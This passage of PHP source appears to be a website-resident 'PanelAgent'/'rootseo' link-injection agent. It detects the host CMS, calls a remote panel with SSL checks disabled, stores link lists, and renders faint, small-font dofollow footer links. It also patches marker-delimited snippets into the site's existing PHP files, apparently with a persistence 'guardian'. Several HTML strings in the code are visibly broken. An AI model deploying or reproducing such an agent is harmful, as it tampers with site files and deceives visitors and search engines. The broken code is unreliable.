$block_size) { $key = hash($algo, $key, true); } $key = str_pad($key, $block_size, chr(0x00)); $ipad = str_repeat(chr(0x36), $block_size); $opad = str_repeat(chr(0x5c), $block_size); $inner = hash($algo, ($key ^ $ipad) . $data, true); $hmac = hash($algo, ($key ^ $opad) . $inner, true); return $raw_output ? $hmac : bin2hex($hmac); } } if (!function_exists('http_response_code')) { function http_response_code($code = null) { static $currentCode = 200; if ($code !== null) { $currentCode = (int)$code; $texts = array( 100 => 'Continue', 101 => 'Switching Protocols', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 204 => 'No Content', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 307 => 'Temporary Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable' ); $text = isset($texts[$currentCode]) ? $texts[$currentCode] : ''; if (!headers_sent()) { header($_SERVER['SERVER_PROTOCOL'] . ' ' . $currentCode . ' ' . $text, true, $currentCode); } } return $currentCode; } } if (!function_exists('random_bytes')) { function random_bytes($length) { if (!is_int($length) || $length < 1) { trigger_error('random_bytes(): Length must be a positive integer', E_USER_WARNING); return false; } if (function_exists('openssl_random_pseudo_bytes')) { $strong = false; $bytes = openssl_random_pseudo_bytes($length, $strong); if ($bytes !== false && strlen($bytes) === $length) { return $bytes; } } if (@is_readable('/dev/urandom')) { $h = @fopen('/dev/urandom', 'rb'); if ($h) { $bytes = fread($h, $length); fclose($h); if ($bytes !== false && strlen($bytes) === $length) { return $bytes; } } } $bytes = ''; while (strlen($bytes) < $length) { $bytes .= pack('H*', md5(uniqid(mt_rand(), true) . microtime(true) . serialize($_SERVER))); } return substr($bytes, 0, $length); } } // ==================== TEMEL FONKSİYONLAR ==================== function www_root() { // Once agent dosyasinin bulundugu dizin (en guvenilir) $here = dirname(__FILE__); if ($here && is_dir($here)) { $real = realpath($here); if ($real) { return $real; } return $here; } if (!empty($_SERVER['DOCUMENT_ROOT'])) { $doc = realpath($_SERVER['DOCUMENT_ROOT']); if ($doc) { return $doc; } } return '.'; } function endsWith($FullStr, $needle) { $StrLen = strlen($needle); $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen); return $FullStrEnd == $needle; } function folder_of_file($p1) { if (!stristr($p1, '/')) { return realpath('./'); } if (strpos($p1, '//') !== false) { $p1 = str_replace('//', '/', $p1); } if (endsWith($p1, '/') == true) { $p1 = substr_replace($p1, '', -1); } $p2 = ''; $ar = explode('/', $p1); for ($i = 1; $i < count($ar) - 1; $i++) { $p2 .= '/' . $ar[$i]; } if ($p1[0] == '.' && $p1[1] == '/') { $p2 = './' . $p2; } if ($p1[0] == '.' && $p1[1] == '.') { $p2 = '../' . $p2; } if (strpos($p2, '//') !== false) { $p2 = str_replace('//', '/', $p2); } return trim($p2); } function save($path, $source){ $os = strtolower(substr(PHP_OS, 0, 3)); $folder_P = folder_of_file($path); // DİZİNİ OLUŞTUR (eksikse) if (!is_dir($folder_P)) { mkdir($folder_P, 0755, true); } if (!is_writable($folder_P) && $os != "win"){ chmod($folder_P, 0755); } if (file_exists($path) && is_file($path) && !is_writable($path) && $os != "win"){ chmod($path, 0644); } if(function_exists('file_put_contents')){ $saV = file_put_contents($path, $source); }else{ $saV = fwrite(fopen($path, 'w'), $source); } return $saV; } function read($path) { $contents = ''; if (function_exists('file_get_contents')) { $contents = file_get_contents($path); } elseif (function_exists('fopen') && function_exists('stream_get_contents')) { $contents = stream_get_contents(fopen($path, "r")); } elseif (function_exists('implode') && function_exists('file')) { $contents = implode(file($path)); } elseif (function_exists('file')) { $lines = file($path); if (function_exists('implode')) { $contents = implode($lines); } else { foreach ($lines as $line) { $contents .= $line; } } } return $contents; } function out($msg, $stop = true) { // Beyaz ekran olmasin: debug olmasa da mesaj yaz if (!headers_sent()) { header('Content-Type: text/plain; charset=utf-8'); } echo $msg; if ($stop) { exit; } } function load_json_file($path, $fallback = array()) { if (!file_exists($path)) return $fallback; $raw = @file_get_contents($path); if ($raw === false || $raw === '') return $fallback; $json = json_decode($raw, true); return is_array($json) ? $json : $fallback; } function save_json_file($path, $data) { return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false; } function curlRequest($url, $headers = array(), $post = false, $postFields = null) { if (function_exists('curl_exec')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'PanelAgent/' . AGENT_VERSION); if (!empty($headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } if ($post) { curl_setopt($ch, CURLOPT_POST, true); if ($postFields !== null) { curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); } } $res = curl_exec($ch); curl_close($ch); return $res; } if (function_exists('file_get_contents') && function_exists('stream_context_create')) { $opts = array( 'http' => array( 'method' => $post ? 'POST' : 'GET', 'timeout' => 20, 'ignore_errors' => true, 'user_agent' => 'PanelAgent/' . AGENT_VERSION ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ) ); if (!empty($headers)) { $opts['http']['header'] = implode("\r\n", $headers); } if ($post && $postFields !== null) { $opts['http']['content'] = $postFields; } $context = stream_context_create($opts); return @file_get_contents($url, false, $context); } return false; } function detectCMS() { if (file_exists(www_root() . '/wp-config.php')) return 'wordpress'; if (file_exists(www_root() . '/artisan')) return 'laravel'; if (file_exists(www_root() . '/config.php') && is_dir(www_root() . '/catalog')) return 'opencart'; if (file_exists(www_root() . '/configuration.php') && is_dir(www_root() . '/administrator')) return 'joomla'; if (file_exists(www_root() . '/includes/bootstrap.inc') && is_dir(www_root() . '/sites')) return 'drupal'; if (file_exists(www_root() . '/config/settings.inc.php') && is_dir(www_root() . '/themes')) return 'prestashop'; return 'php'; } // ==================== LINK YÖNETİMİ ==================== function normalize_rel($rel) { $rel = strtolower(trim((string)$rel)); $allowed = array('dofollow', 'nofollow', 'ugc', 'sponsored'); return in_array($rel, $allowed, true) ? $rel : 'dofollow'; } function normalize_kind($kind) { $kind = strtolower(trim((string)$kind)); $valid = explode(',', VALID_LINK_KINDS); return in_array($kind, $valid, true) ? $kind : 'footer'; } function validate_url_value($url) { $url = trim((string)$url); if ($url === '' || strlen($url) > MAX_URL_LENGTH) return ''; if (!filter_var($url, FILTER_VALIDATE_URL)) return ''; $parts = @parse_url($url); if (!$parts || empty($parts['scheme'])) return ''; $scheme = strtolower((string)$parts['scheme']); if (!in_array($scheme, array('http', 'https'), true)) return ''; return $url; } function validate_anchor_text($anchor) { $anchor = trim((string)$anchor); if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return ''; return $anchor; } function validate_link_id($linkId) { $linkId = trim((string)$linkId); if ($linkId === '') return ''; if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return ''; return $linkId; } function build_deterministic_link_id($url, $anchor, $rel) { $seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel); return 'v5_' . substr(hash('sha256', $seed), 0, 16); } function default_placement_state() { return array( 'status' => 'not_installed', 'strategy' => null, 'target' => null, 'install_mode' => null, 'marker' => null, 'message' => '', 'installed_at' => null, 'last_attempt_at' => null, 'last_verified_at' => null, 'verify_status' => 'unknown', 'history' => array(), ); } function default_config() { return array( 'output_mode' => 'visible', 'render_profile' => 'minimal_inline', 'render_types' => array('text_footer'), 'link_rel_strategy' => 'preserve', 'footer_link_cap' => FOOTER_LINK_CAP, 'contextual_max_ttl' => CONTEXTUAL_MAX_TTL_SECONDS, 'placement' => default_placement_state(), ); } function load_config() { $cfg = load_json_file(CONFIG_FILE, array()); $default = default_config(); foreach ($default as $key => $value) { if (!isset($cfg[$key])) { $cfg[$key] = $value; } } return $cfg; } function save_config($config) { return save_json_file(CONFIG_FILE, $config); } function load_links() { $raw = load_json_file(LINKS_FILE, array()); $config = load_config(); $normalized = array(); foreach ($raw as $key => $row) { $item = normalize_link_row($key, $row, $config); if ($item) { $normalized[$item['id']] = $item; } } return $normalized; } function normalize_link_row($key, $row, $config) { if (!is_array($row)) return null; $url = validate_url_value(isset($row['url']) ? $row['url'] : ''); $anchor = validate_anchor_text(isset($row['anchor']) ? $row['anchor'] : ''); if ($url === '' || $anchor === '') return null; $rel = normalize_rel(isset($row['rel']) ? $row['rel'] : 'dofollow'); $id = validate_link_id(isset($row['id']) ? $row['id'] : ''); if ($id === '') { $id = validate_link_id($key); } if ($id === '') { $id = build_deterministic_link_id($url, $anchor, $rel); } $placement = isset($config['placement']) ? $config['placement'] : default_placement_state(); $kind = normalize_kind(isset($row['kind']) ? $row['kind'] : 'footer'); $created = isset($row['created']) ? intval($row['created']) : time(); $expiresAt = isset($row['expires_at']) && $row['expires_at'] !== null ? intval($row['expires_at']) : null; if ($kind === 'contextual') { $maxExpiry = $created + effective_contextual_ttl($config); if ($expiresAt === null || $expiresAt > $maxExpiry) { $expiresAt = $maxExpiry; } } $normalized = array( 'id' => $id, 'kind' => $kind, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'expires_at' => $expiresAt, 'created' => $created, 'updated_at' => isset($row['updated_at']) ? intval($row['updated_at']) : time(), 'render_profile' => trim((string)(isset($row['render_profile']) ? $row['render_profile'] : (isset($config['render_profile']) ? $config['render_profile'] : 'minimal_inline'))), 'render_types' => filter_render_types(isset($row['render_types']) ? $row['render_types'] : (isset($config['render_types']) ? $config['render_types'] : array('text_footer'))), 'logical_hash' => substr(hash('sha256', strtolower($url) . '|' . strtolower($anchor) . '|' . $rel), 0, 20), 'placement_status' => isset($row['placement_status']) ? $row['placement_status'] : (isset($placement['status']) ? $placement['status'] : 'not_installed'), 'placement_strategy' => isset($row['placement_strategy']) ? $row['placement_strategy'] : (isset($placement['strategy']) ? $placement['strategy'] : null), 'placement_target' => isset($row['placement_target']) ? $row['placement_target'] : (isset($placement['target']) ? $placement['target'] : null), 'last_verified_at' => isset($row['last_verified_at']) ? $row['last_verified_at'] : (isset($placement['last_verified_at']) ? $placement['last_verified_at'] : null), ); return $normalized; } function effective_footer_cap($config) { $cap = isset($config['footer_link_cap']) ? intval($config['footer_link_cap']) : FOOTER_LINK_CAP; if ($cap < 1) $cap = FOOTER_LINK_CAP; if ($cap > 1000) $cap = 1000; return $cap; } function effective_contextual_ttl($config) { $ttl = isset($config['contextual_max_ttl']) ? intval($config['contextual_max_ttl']) : CONTEXTUAL_MAX_TTL_SECONDS; if ($ttl < 300) $ttl = 300; if ($ttl > CONTEXTUAL_MAX_TTL_SECONDS) $ttl = CONTEXTUAL_MAX_TTL_SECONDS; return $ttl; } function filtered_links($links) { $visible = array(); $expired = array(); $now = time(); foreach ($links as $link) { if (!is_array($link)) continue; $expiresAt = isset($link['expires_at']) ? intval($link['expires_at']) : 0; if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) { $expired[] = $link; continue; } $visible[] = $link; } return array($visible, $expired); } function get_link_stats($links) { list($active, $expired) = filtered_links($links); return array( 'total' => count($links), 'active' => count($active), 'expired' => count($expired), ); } function enforce_footer_cap($links, $config) { $cap = effective_footer_cap($config); $footer = array(); $other = array(); foreach ($links as $id => $row) { $kind = isset($row['kind']) ? $row['kind'] : 'footer'; if ($kind === 'footer') { $footer[$id] = $row; } else { $other[$id] = $row; } } if (count($footer) > $cap) { uasort($footer, function ($a, $b) { $a_created = isset($a['created']) ? intval($a['created']) : 0; $b_created = isset($b['created']) ? intval($b['created']) : 0; if ($a_created == $b_created) return 0; return ($a_created > $b_created) ? -1 : 1; }); $footer = array_slice($footer, 0, $cap, true); } return $other + $footer; } function save_links($links) { $config = load_config(); $normalized = array(); foreach ((array)$links as $key => $row) { $item = normalize_link_row($key, $row, $config); if ($item) { $normalized[$item['id']] = $item; } } $normalized = enforce_footer_cap($normalized, $config); ksort($normalized); return save_json_file(LINKS_FILE, $normalized); } function filter_render_types($types) { $allowed = array('text_inline', 'text_footer'); $final = array(); foreach ((array)$types as $type) { $type = trim((string)$type); if ($type !== '' && in_array($type, $allowed, true) && !in_array($type, $final, true)) { $final[] = $type; } } return $final ? $final : array('text_footer'); } function clear_expired_links() { $links = load_links(); $active = array(); $removed = array(); $now = time(); foreach ($links as $id => $row) { $expiresAt = isset($row['expires_at']) ? intval($row['expires_at']) : 0; if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) { $removed[] = $id; continue; } $active[$id] = $row; } save_links($active); return array($active, $removed); } // ==================== RENDER FONKSİYONLARI ==================== function build_rel_attr($rel) { if ($rel === 'dofollow') return ''; return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"'; } function rootseo_footer_container_style() { return 'display:block;margin:14px 0 6px;padding-top:8px;border-top:1px solid rgba(0,0,0,0.06);font-size:12px;line-height:1.6;color:#9aa0a6;'; } function rootseo_footer_anchor_style() { return 'color:#9aa0a6;text-decoration:none;font-size:12px;'; } function build_footer_anchor_html($link) { $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8'); $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8'); $relAttr = build_rel_attr($link['rel']); return '' . $anchor . ''; } function rootseo_build_footer_html($markRenderedOnce = true) { if ($markRenderedOnce && defined('ROOTSEO_AGENT_RENDERED_ONCE')) { return ''; } if ($markRenderedOnce) { define('ROOTSEO_AGENT_RENDERED_ONCE', true); } $links = load_links(); list($activeLinks, ) = filtered_links($links); if (empty($activeLinks)) return ''; $anchors = array(); foreach ($activeLinks as $link) { $kind = isset($link['kind']) ? $link['kind'] : 'footer'; if ($kind === 'contextual' && defined('ROOTSEO_WP_CONTEXTUAL_ACTIVE')) { continue; } $anchors[] = build_footer_anchor_html($link); } if (empty($anchors)) return ''; return '
' . $a . '
'; $pos = stripos($content, ''); if ($pos !== false) { $pos += 4; return substr($content, 0, $pos) . $sentence . substr($content, $pos); } return $content . $sentence; } catch (Exception $e) { return $content; } } // ==================== PLACEMENT (YERLEŞİM) STRATEJİLERİ ==================== function placement_marker($strategy) { return substr(hash('sha256', __FILE__ . '|' . $strategy), 0, 12); } function build_dynamic_php_snippet($marker) { $connectorPath = addslashes(guardian_primary_path()); return ""; } function build_static_html_block($marker) { return "" . rootseo_build_footer_html(false) . ""; } function replace_between_markers($content, $startMarker, $endMarker, $replacement) { $startPos = strpos($content, $startMarker); $endPos = strpos($content, $endMarker); if ($startPos === false || $endPos === false || $endPos < $startPos) return null; $endPos += strlen($endMarker); return substr($content, 0, $startPos) . $replacement . substr($content, $endPos); } function upsert_php_file_block($filePath, $marker) { if (!file_exists($filePath) || !is_writable($filePath)) return array(false, 'file_not_writable'); $content = @file_get_contents($filePath); if ($content === false) return array(false, 'file_read_failed'); $snippet = build_dynamic_php_snippet($marker); $existing = replace_between_markers($content, "/* ROOTSEO_START:$marker */", "/* ROOTSEO_END:$marker */", $snippet); if ($existing !== null) { if (@file_put_contents($filePath, $existing) !== false) return array(true, 'updated_existing_block'); return array(false, 'file_write_failed'); } $newContent = null; foreach (array('